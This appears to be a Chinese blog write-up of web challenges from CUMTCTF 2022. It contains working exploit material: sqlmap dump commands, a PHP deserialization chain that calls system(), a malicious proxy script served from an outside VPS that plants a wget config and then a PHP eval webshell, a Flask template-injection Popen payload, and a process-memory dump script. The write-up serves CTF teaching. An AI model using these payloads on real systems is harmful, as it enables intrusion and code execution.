CUMTCTF2022_Web_WP

CUMTCTF2022_Web_WP

General 3840x2160 water nature minimalism simple background kayaks whale fish sea

都快要变成吃灰的东西了,当个笔记脚本发一下吧

小学数学题

一秒内计算出两个数的差值,搓个脚本即可

import requests
url="http://10.3.233.58:5000/"+"/flag?calc="

text=requests.get(url).text.split("<h3>")

num1,num2=int(text[1][5:-6]),int(text[2][5:-6])

calc=str(abs(num2-num1))

text=requests.get(url+calc).text

print(text.split("flag is:")[1].split("</h3>")[0])

image-20220611175554492

EZSQL

此题就是sqli-labs的第一关,源码一点没动,可以使用报错注入,时间盲注,报错注入,异或注入等多种注入方式获取flag,当然,也可以使用sqlmap直接梭(不熟悉原理的同学建议自己手工注入练习一下)

flag位于ctf.flag表的flag字段

手工注入具体的exp网上很多,这里简单说一下步骤:

  1. 从information_schema.columns查找所有库名,得到库名ctf
  2. 从information_schema.columns查找库名为ctf的所有表名,得到表名flag
  3. 从information_schema.columns查找ctf.flag表的所有字段名字,得到字段名flag
  4. 查找ctf.flag下的flag字段

使用sqlmap:

sqlmap -u "url" -D ctf –-dbs --batch      #查表名

sqlmap -u "url" -D ctf --tables --batch       #查表名

sqlmap -u "url" -D ctf -T flag --columns --batch  #查字段名

sqlmap -u "url" -D cff -T flag -C flag --dump --batch #查字段值(flag)

EZPOP

PHP7.x中die并不会影响_destory的执行,此外只要完成成员装载就会执行__wakeup然后执行一般逻辑函数最后执行\_destory所以passwd的验证作用是无效的

<?php
class user{
    public $username;
    public $auth;
    public function __construct($auth,$username){
        $this->auth=$auth;
        $this->username=$username;
    }
}

class fw{
    public $nousefuldefw;
    public $flagg=false;
    public $b3;
    public function __construct($flagg,$b3){
        $this->flagg=$flagg;
        $this->b3=$b3;
    }
}

class helper{
    public $help="wantpeach";
    public function __construct($help){
        $this->help=$help;
    }
}

class controller{
    public $passwd;
    public $cmd;
    public function __construct($cmd){
        $this->cmd=$cmd;

    }
}

$flag=new user(
    true,new fw(
        true,new helper(
            array(new controller(
                'system("calc");'
            ),"eval")
        )
    )
);
var_dump($flag);
echo "?passwd=1&data=".urlencode(serialize($flag));

image-20220611180310809

Cartonenviron

一些知识的讲解

这里给大家讲解一下这个题目涉及到的代理以及WGETRC的含义

如果已知这两个东西的话可以直接跳到下面的解题步骤WP

代码不多,一页见全,简单过滤一下可能利用到的参考点

image-20220605190149263

  1. file_exists 可用于通过使用phar伪协议造成,但是这明显不是反序列化所以可以暂时先pass
  2. 下一利用点为环境变量的设置,可以任意设置一个环境变量,简单思考可以想到一些较常用的如LD, HTTP, BASH, ENV, PROXY, PS,下面进一步看
  3. 在最后,执行了一个没有任何参数控制权限和命令注入可能性的wget执行代码wget http://is.cumt.edu.cn/

条件就这么几个,下面思考可能从哪些地方入手解决并逐步确认解题思路:

  1. wget的专有环境变量WGETRC,如果参加了四月的*CTF朋友可能就会有印象,wget命令的一个专有配置WGETRC可用于指定wget命令的配置文件(重要的是这个文件名没有任何限制)

  2. 需要了解一点 我们wget的数据保存在什么后缀名的文件中(如.php,.html等)并不是由返回的数据类型或者返回来的response数据包中的filename字段所决定的,而是根据请求url中的最后一个文件名判断,URL结尾如果有文件的话最终文件返回数据保存在这个文件中,如果没有的话默认保存于index.html

    因此我们wget http://is.cumt.edu.cn/得到的数据应该是要保存在index.html中的

    image-20220605191216804

  3. 结合前面说的两点: 配置文件+文件下载,在当前看不到两者的火花,但是,如果我们可以控制index.html文件的内容呢?

代理

有基础的weber可跳过此部分

什么是代理?

​ 一般的代理正常来说就是帮助我们转发信息,并将返回得到的信息交还回来给我们, 但是如果这时是一个恶意代理情况就不一样了

通过http_proxy配置设置代理服务器为我们的VPS,然后在代理端口进行服务,这时变成这样子的恶意服务

image-20220605192434625

一般来说如图所示,代理服务器就是一个中转站,不会变更数据,但是如果此时我们变为一个恶意代理服务器,不管docker请求发起什么申请我们都返回一个恶意数据交给wget就会变为如下情况

image-20220605192909971

可以看到,此时恶意数据就被wget收到后存在文件中(在题目中就是index.html),如果这个恶意数据就是我们上面所说的wget的配置数据呢?

使用代理

​ 我们只要设置http_proxy或https_proxy为我们的VPS链接就会在wget请求http或https的时候使用我们的恶意VPS作为代理执行上述过程

我们确定恶意数据为:

http_proxy = http://47.99.70.18:2607/
use_proxy = on
output_document = filename

执行一个http代理服务后会在VPS主机开设一个监听端口等待docker连接

服务器的9999端口等待其它主机的连接,docker与VPS9999端口建立socket连接后传输数据,将我们的恶意数据包返回给docker交给wget进行处理保存

所以到此,我们就任意决定生成的用于存储数据的index.html中的文件内容了

WGETRC的作用

WGETRC简单理解就是wget的配置文件具体路径,用于指定wget的配置文件。

回到前面,我们说了要配置wget,配置文件内容也有了那么接下来我们要进行哪些配置?

传输参数: ?env_key=WGETRC&env_value=/var/www/html/index/html

  1. http_proxy = http://47.99.70.18:2607/

    用于设置http代理服务器

  2. use_proxy = on

    表示每次wget请求下载资源的时候都是用代理

  3. output_document = filename

    这个配置是最关键的,之前我们已经对上传的文件内容可控了,但是,只能控制index.html终究是利用有限,但是当我们进行了这个设置之后,我们保存的文件命令就是上面的filename而不是index.html

到这里,我们只要先使用代理将配置内容上传到index.html中然后设置参数WGERC=/var/www//html/index.html后面即可继续结合VPS服务器修改传输内容即可任意文件传输。

​ 这里是PHP服务,如果我们的文件时shell.php即可直接getshell,或者也可以使用hack.so+LD_PRELOAD或者gconv-modules+UTF-8.so+GCONV_PATH等方式反弹shell,但是在这里没必要,直接传php文件即可,以下为操作过程:

1. 确认代理可用

image-20220605201240342

Ctrl+C后马上断开,返回index.html界面

image-20220605201354886

2.上传wget配置内容

先查看当前题目的文件夹目录

image-20220605202059377

写着写着发现这个题已经跟*CTF的Oh_My_Lotto_revenge差不多一样了,

下面就是通过代理上传配置内容了

image-20220605220721836

可以看到,在设置http_proxy之后index.html中的内容就变成了我们代理服务所写入的内容

image-20220605220714742

如果改一下,改为shell.php,再执行wget会怎么样呢,再试试看,先修改配置内容

image-20220605221055410

image-20220605221230978

image-20220605221527480

image-20220605221619537

收工

解题步骤的WP

为避免误解,先说明一下,我这里当前文件路径为/var/www/html/test/chuti/cartonphp,在比赛中使用的是默认路径/var/www/html

http的socket代理脚本:

#!/usr/bin/python2
# coding=utf-8

import socket

desc_host = '0.0.0.0'
desc_port = 9999#9999的时候上传wget的配置文件,8888上传webshell文件

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while 1:
    try:
        server.bind((desc_host, desc_port))
        break
    except:
        pass

print "Proxying to %s:%s ..."%(desc_host, desc_port)

while 1:
    server.listen(5)
    conn, addr = server.accept()
    recv=conn.recv(1024)
    print recv
    page = b"<?php @eval($_REQUEST[0]);phpinfo();"#webshell文件内容,8888端口代理返回
    page = b"http_proxy = http://47.99.70.18:8888/\nuse_proxy = on\noutput_document = shell.php"#wget配置文件内容,9999端口代理返回
    head=b"""HTTP/1.1 200 OK
Server: gunicorn
Date: Mon, 18 Apr 2022 13:38:20 GMT
Connection: close
Content-Type: text/plain
Content-Length: """+str(len(page)).encode()+b"""
Content-Disposition: attachment; filename=333.php\t\n\n"""#这个文件名什么都行,不重要
    conn.sendall(head+page)
    print(head+page)
    conn.close()

解题步骤如下:

  1. 先设置http_proxy环境变量开启代理上传wget配置文件到index.html,这次使用的代理服务端口为9999

    image-20220611183703222

    注意,在这里需要先返回上级目录修改当前文件夹有写文件的权限,否则以www-data身份执行wget命令是不能下载文件到当前题目的目录下的

    chmod 777 var/www/html

    配置为:

    http_proxy = http://47.99.70.18:8888/
    use_proxy = on
    output_document = shell.php
    
    http_proxy = http://47.99.70.18:8888/\nuse_proxy = on\noutput_document = shell.php

    http_proxy:访问http资源的代理地址

    use_proxy:这次wget访问资源是否使用代理

    output_document:返回的资源保存到哪个文件

  2. 然后设置WGETRC,将wget的配置文件指定为/var/www/html/index.html(就是上面通过wget下载到的文件),这次使用的代理服务端口为8888

    修改脚本上传的文件内容为一个webshell

    image-20220611183716957

  3. 访问webshell文件,执行命令获取flag

    image-20220611182842490

    image-20220611184339559

不需要WGETRC的解法

如果不知道WGETRC还能不能做呢?其实是没问题的,可以上传一个so文件然后配合LD_PRELOAD实现在执行wget时动态链接库加载执行恶意函数完成RCE

Pymix

前言

其实一开始是想要通过SSTI的关键字限制只能使用{{config}}获取到SECRET_KEY来伪造is_admin=true的身份然后通过构造一个Http走私请求进入下一个服务,然后在另一个服务中通过访问/etc/passwd&size=0/20这种方式只能达到任意文件读取并且能够指定文件偏移的效果,但是考虑到这样子会导致难度偏大且放题时间较晚所以可以直接通过Flask的模板注入直接执行命令并且获取反弹shell,下面我们的题解主要讲解通过Flask模板注入获取一个shell之后怎么拿到flag的过程

这个题涉及到两个知识点:

  1. Flask的模板注入
  2. 全局变量载入内存,预先读取的flag也是全局变量之一

在/login界面Ctrl+U可以看到服务源码,部分符号被html编码,解码一下即可,可以找到这个服务的Flask模板注入点

image-20220611185725181

通过这个注入点可以任意执行命令

注:我这里为了方便所以直接在本地跑起了服务,只是为了表示能够通过Flask模板注入进行RCE,实际上服务跑在linux服务器的docker中,但是区别不大,在题目中也还是可以通过这个payload进行RCE

image-20220611193743564

{{''.__class__.__mro__[-1].__subclasses__()[212]('calc')}}
如果复现使用payload失败请确认''.__class__.__mro__[-1].__subclasses__()[212]获得的是POPEN,请修改212直到获取到popen即可

image-20220611191420301

但是flag已被删除,原flag的内容已经被存放到程序的内存中了,我们先看一下程序源码

image-20220611192034914

  1. 先通过命令执行反弹一个shell

  2. 下载下面这个python脚本

  3. 命令执行python脚本并且运行,之后可能存放flag变量的内存内容都会被输出到end目录下

  4. 执行命令从获取的内存内容中确定flag在哪个输出文件

    grep -r flag end/*
  5. 输出flag

    cat xxx |grep flag
import re,os
flag="h0cksr{test_flag}"
def readmap(start,end,fn):
    mf=open(f"/proc/{pid}/mem","rb")
    mf.seek(start)
    text=mf.read(end-start)
    wf=open(str("end/"+fn),"wb")
    wf.write(text)
    wf.close()
    wf.close()
    mf.close()

os.system("rm -rf end;mkdir end")
pid=input("请输入读取了/flag内容的python进程PID#")
mapfile=open(f"/proc/{pid}/maps","r")
for i in mapfile.readlines():
    if ".so" not in i and "/usr" not in i:
        print(i.replace("\n",""))
        t = re.match(r"[0-9-abcdef]*", i)
        location=t.group().split("-")
        startseek = int("0x" + location[0], 16)
        endseek = int("0x" + location[1], 16)
        print(startseek,endseek)
        for j in ["heap","vdso","vvar","stack"]:
            if j in i:
                readmap(startseek, endseek, j)
        readmap(startseek, endseek,t.group())
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇